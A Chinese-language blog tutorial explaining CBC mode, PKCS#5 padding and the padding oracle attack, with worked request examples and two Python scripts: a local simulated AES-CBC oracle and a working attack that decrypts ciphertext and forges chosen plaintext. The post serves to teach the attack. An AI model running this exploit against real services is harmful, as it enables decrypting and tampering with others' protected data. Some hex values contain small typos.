padding oracle攻击


一、CBC模式简介

CBC(Cipher Block Chaining,密码块链模式)是一种分组密码的加密模式,它通过将每个明文块与前一个密文块进行异或操作后再加密,以确保数据的安全性。

1.1 CBC加密流程

在CBC模式中,首先对明文进行分组,每个明文块先与前一个密文块进行异或后,再进行加密。CBC模式下,每个密文块依赖于前面的所有的明文块。

涉及到的概念:

  1. 初始化向量(IV):CBC模式使用一个初始化向量(IV),这是一个随机生成的值,与第一个明文块进行异或操作。IV的作用是为加密过程提供一个随机的起点,确保相同的明文块在不同的加密过程中产生不同的密文块。

1.1.1 加密流程

其加密流程示意图如下:

CBC模式加密流程
  • 将明文分为固定大小的块(通常是8字节或16字节)。
  • 第一个明文块与IV进行异或操作。
  • 异或后的结果通过加密算法(如AES)加密,生成第一个密文块。
  • 每个后续的明文块都与前一个密文块进行异或操作,然后再加密,生成下一个密文块。

密文分组3受到明文分组1、明文分组2、明文分组3的共同影响。

1.1.2 解密流程

CBC模式解密流程
  • 将密文分为相同的块大小。
  • 第一个密文块通过解密算法解密,然后与IV进行异或操作,恢复出第一个明文块。
  • 每个后续的密文块都先解密,然后与前一个密文块进行异或操作,恢复出原始的明文块。

与加密过程不同的是名文分组3仅受密文分组2和密文分组3的共同影响。

1.1.3 填充(Padding)

分组带来一个问题,就是明文不可能恰好是block的整数倍,对于不能整除剩余的部分数据就涉及到填充操作。

在加密最后一个不完整的明文块时,需要进行填充以确保块的大小符合加密算法的要求。常见的填充方式有PKCS#5和OneAndZeroes。

1)PKCS#5:

在最后一个block中将不足的Byte数作为Byte值进行填充,缺少n个Byte,就填充n个0x0n,例如最后一个分组(block)缺少3个byte,就填充3个0x03到结尾。在解密时会校验明文的填充是否满足该规则,如果是以N个0x0N结束,则意味着解密操作执行成功,否则解密操作失败。

2)OneAndZeroes:

在最后一个Block中将不足的byte位数以 0x80开头后续全填0x00的方式进行填充,若最后一个Block缺少3byte,则填充:0x80 0x00 0x00。

二、Padding Oracle攻击原理

这种攻击方式在2011年的Pwnie Rewards中被评为“最具有价值的服务器漏洞”,因为它能够绕过对算法的直接破解,通过旁路攻击的方式被利用。

核心原理:明文分组和填充,同时应用程序对于填充异常的响应可以作为反馈。

2.1 利用场景

http://www.example.com/decrypt.jsp?data=0000000000000000EFC2807233F9D7C097116BB33E813C5E

当攻击者在篡改data值时会有以下不同的响应:

  • 如果data值没有被篡改,则解密成功,并且业务校验成功,响应200
  • 如果data值被篡改,服务端无法完成解密,解密校验失败,则响应500
  • 如果data值被篡改,但是服务端解密成功,但业务逻辑校验失败,则可能返回200或302等响应码,而不是响应500

攻击者只需关注解密成功和解密失败的响应即可(第三种属于解密成功的响应),即可完成攻击。

2.2 破解密文

2.2.1 核心思路

攻击者通过修改密文并发送给服务器,观察服务器对不同密文的响应。如果密文的填充正确,服务器会返回一个成功的响应;如果填充不正确,服务器会返回一个错误响应。攻击者利用这种差异性来确定密文的正确填充,从而逐步解密密文或构造出任意明文的合法密文。

2.2.2 攻击过程

假设有这样一个应用,请求如下:

http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6

即client给server提交的参数为7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 才能请求正常的服务.

1)内在加解密过程(不为攻击者所知晓)

IV+密文值

IV添加在密文的前段,即最前面8个字节。

  • 加密过程
加密过程
  • 解密过程
解密过程

值得注意的是,解密之后的最后一个数据块,其结尾应该包含正确的填充序列,如果不满足,加解密程序会返回异常(500)。

2)攻击者视角破解密文

  • IV值置空

取第一个Block的密文,并将初始化向量置为0,即:

00 00 00 00 00 00 00 00 F8 51 D6 CC 68 FC 95 37

这时的请求和响应:

Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
Response: 500 - Internal Server Error

回复500说明填充异常,原因是它的结尾未包含正确的填充字节:

0000000000000000F851D6CC68FC9537解密失败

如上图所示,在解密之后,数据块的末尾并没有包含正确的填充序列,因此出现了异常。

  • 接下来尝试爆破,使得最后的填充序列满足n个0xn的条件

我们将IV加1,并且发送同样密文

Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537
Response: 500 - Internal Server Error
0000000000000001F851D6CC68FC9537解密失败

重复发送这样的请求,每次将IV的最后一个字节加一(直至0xFF),那么最终我们将会产生一个合法的单字节填充序列(0x01

对于可能的256个值中,只有一个值会产生正确的填充字节0x01,遇上这个值的时候,会得到一个不同于其他255个请求的回复结果。

Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK
000000000000003CF851D6CC68FC9537解密成功
  • 推断出中间值(Intermediary Value)的最后一个字节(注意中间值攻击者不知道,他是攻击者攻击的目标)
Intermediary Byte 异或 0×3C == 0×01, 
Intermediary Byte == 0×3C ^ 0×01, 
Intermediary Byte == 0×3D

重点:第一组密文解密的中间值是一直不变的,同样也是正确的,我们通过构造IV值,使得最后一位填充值满足0x01,符合padding规则,则意味着程序解密成功(当然解密的结果肯定不是原来的明文),通过循环测试的方法,猜解出中间值的最后一位,再利用同样的方式猜解前面的中间值,直到获取到完整的中间值。

  • 推断出中间值的倒数第二个字节。

构造填充值为0x02 0x02的场景,即存在2个填充字节,填充值为0x02

此时我们已经知道了中间值得最后一位为0x3D,计算出初始向量的最后一位:

0x3D xor 0x02 = 0x3F

即初始向量为0000000000000003F

遍历倒数第二个字节从0x00~0xFF,直到响应成功.

猜解出中间值得后两个字节分别为 0x26 0x3D

破解出中间值的倒数第二个字节
  • 推断出整个中间值

运用这种技巧,我们可以最终得到解密后的中间值,也就是当整个数据块的填充值都是0x08

中间值完整推断
  • 明文破解

当第一组密文的中间值猜解成功后,我们将中间值和已知的IV做异或,则得到第一组密文的明文:

0x39 0x73 0x23 0x22 0x07 0x6A 0x26 0x3D  异或  0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0x0F
= BRIAN;12

续破解第二组密文,第二组密文的IV向量是第一组密文,按照上述的逻辑构造第一组密文,即可破解出第二组明文。

2.2.3 思路总结

  • 将IV最后一个字节设置为0x1,不断调整IV最后一个字节(0x01-0xff),爆破使得填充规则正确(7byte+0x01),得到中间值的最后一个字节。
  • 在得到最后一个字节的中间值后,将IV最后一个字节设置为0x02,计算IV的最后一个字节。
  • 不断调整IV倒数第二个字节(0x01-0xff),爆破使得填充规则正确(6byte+0x02+0x02),得到倒数第二个字节的中间值。
  • 依次类推获得整个中间值。
  • 中间值和IV异或获得明文。

2.3伪造明文

通过密文的破解过程,我们已经掌握了中间值(中间值同密文块是绑定的)和IV。

结合解密的流程,我们可以通过操纵IV来控制(密文块)解密得到的结果。

如果想要将密文中第一个数据块解密为“TEST”这个值,您可以计算出它所需要的IV值,只要将目标明文与中间值进行异或操作即可

只要将字符串”TEST”和4个0x04填充字节与中间值异或之后,便可以得到最终的IV,即0×6D,0×36,0×70,0×76,0×03,0×6E,0×22,0×39

伪造明文示例

如何生成长度超过一个数据块的明文,比如要生成”ENCRYPT TEST”

首先还是将文本拆成数据块,并设置填充字节

伪造大于一个块的明文长度

通过类似的步骤我们可以知道生成TEST0x040x040x040x04的中间值(0xc3 0x60 0xed 0xc9 0x 6d 0xf9 0x90 0x32)和IV1(也就是BLOCK1对应的密文)。

接下来,我们需要弄明白中间值IV1在作为密文是如何解密的。

只要使用与之前破解过程相同的技巧就行了,我们把它作为密文传递给应用程序,并从全部为NULL的IV开始进行暴力破解。的到IV1对应的中间值IV1_IM。

通过IV1_IM可以构造BLOCK1的明文为ENCRYPT%20,然后计算得到初始IV值。

三、exp

3.1 poa.py

#!/usr/bin/env python

from hexdump import hexdump
from Crypto.Cipher import AES

import IPython


plain = b"Hello World! MTDP! RedTeam! 23333"


class POA(object):
    KEY = b"1234567890abcdef"
    IV = b"0102030405060708"

    @classmethod
    def __pad(cls, text: bytes):
        """PKCS7 padding"""
        text_length = len(text)
        amount_to_pad = AES.block_size - (text_length % AES.block_size)
        if amount_to_pad == 0:
            amount_to_pad = AES.block_size
        pad = chr(amount_to_pad).encode()
        return text + pad * amount_to_pad

    @classmethod
    def __unpad(cls, text: bytes):
        pad = text[-1]
        _pad = text[-pad:]
        for i in _pad:
            if pad != i:
                raise Exception("Error Padding! - %s" % _pad)
        return text[:-pad]

    @classmethod
    def encrypt(cls, plain: bytes):
        pad_plain = cls.__pad(plain)
        aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
        cipher = aes.encrypt(pad_plain)
        hexdump(cipher)
        return cipher

    @classmethod
    def decrypt(cls, cipher: bytes):
        aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
        pad_plain = aes.decrypt(cipher)
        return cls.__unpad(pad_plain)

    @classmethod
    def decrypt_without_result(cls, cipher: bytes):
        try:
            cls.decrypt(cipher)
            return True
        except Exception as e:
            # print(e)
            return False


def test():
    return POA.encrypt(plain)


if __name__ == "__main__":
    cipher = test()
    plain = POA.decrypt(cipher)
    print(plain)

    IPython.embed()

3.2 poa_attack.py

#!/usr/bin/env python3

import pdb

from poa import test, POA

from Crypto.Cipher import AES
import IPython


class PaddingOracleAttack(object):

    def __init__(self, cipher, iv):
        self.cipher = cipher

        # 把密文分割成列表,每个列表元素16字节
        self.cipher_lst = self.split_block(self.cipher)

        # 解密的中间值
        self.mid_lst = [self.brute_middle(self.cipher_lst[-1])]

        # 存储计算出来的明文
        self.plain_lst = [[] for _ in self.cipher_lst]

    @classmethod
    def split_block(cls, cipher):
        cipher_list = []
        for i in range(0, len(cipher), 16):
            cipher_list.append(cipher[i: i + 16])
        return cipher_list

    def calc_new_tail(self, tail, idx):
        new_tail = b""
        for t in tail:
            _tail = t ^ (idx - 1) ^ idx
            new_tail += _tail.to_bytes(1, byteorder="big")
        return new_tail

    def brute_middle(self, cipher_line):
        '''暴力破解解密的中间值'''
        tail = b""
        mid_lst = []
        # 从pad 为0x01开始 到 0x10
        for pad in range(1, 17):

            # 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。
            tail = self.calc_new_tail(tail, pad)

            find_pad = False
            for i in range(0, 256):
                # 形成2个密文块
                cipher = b"\x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line
                if POA.decrypt_without_result(cipher):
                    # print("[!] Cipher - %s" % cipher)
                    find_pad = True
                    tail = i.to_bytes(1, byteorder="big") + tail

                    mid_chr = i ^ pad
                    mid_lst.insert(0, mid_chr)

            if not find_pad:
                raise Exception("Error not find pad!")

        return bytes(mid_lst)

    @classmethod
    def __pad(cls, text: bytes):
        """PKCS7 padding"""
        text_length = len(text)
        amount_to_pad = AES.block_size - (text_length % AES.block_size)
        if amount_to_pad == 0:
            amount_to_pad = AES.block_size
        pad = chr(amount_to_pad).encode()
        return text + pad * amount_to_pad

    def fake(self, plain, cipher=None, mid=None):
        '''伪造

        :plain: 要伪造的明文
        :last_cipher: 一个密文块
        :last_mid:  密文块解密出来的中间值
        '''
        pad_plain = self.__pad(plain)
        plain_lst = self.split_block(pad_plain)
        mid = mid if mid else self.mid_lst[-1]

        cipher = [cipher if cipher else self.cipher_lst[-1]]

        # 从最后开始计算
        for plain in plain_lst[::-1]:
            need_iv = b""
            for idx in range(len(plain)):
                _m = mid[idx]
                _p = plain[idx]
                need_iv += (_m ^ _p).to_bytes(1, byteorder="big")

            mid = self.brute_middle(need_iv)
            cipher.insert(0, need_iv)

        return cipher[0], b''.join(cipher[1:])

    def decrypt(self):
        '''解密'''
        # 从最后开始计算
        self.mid_lst = []
        for _idx in range(len(self.cipher_lst), 0, -1):
            line_idx = _idx - 1
            cipher_line = self.cipher_lst[line_idx]

            if line_idx >= 1:
                # 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或
                p_cipher_line = self.cipher_lst[line_idx - 1]
            else:
                # 如果是第一行,则其与IV异或
                p_cipher_line = iv

            _mid = self.brute_middle(cipher_line)
            self.mid_lst.insert(0, _mid)
            for idx, _m in enumerate(_mid):
                plain_chr = _m ^ p_cipher_line[idx]
                self.plain_lst[line_idx].append(plain_chr)

        plain = b""
        for p in self.plain_lst:
            plain += bytes(p)

        return plain


if __name__ == "__main__":
    cipher = test()     # 获取密文
    iv = POA.IV         # 获取初始化向量

    poa_atck = PaddingOracleAttack(cipher, iv)
    new_iv, new_cipher = poa_atck.fake(b"wo ai beijing tianan men!")
    plain = poa_atck.decrypt()

    IPython.embed()

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录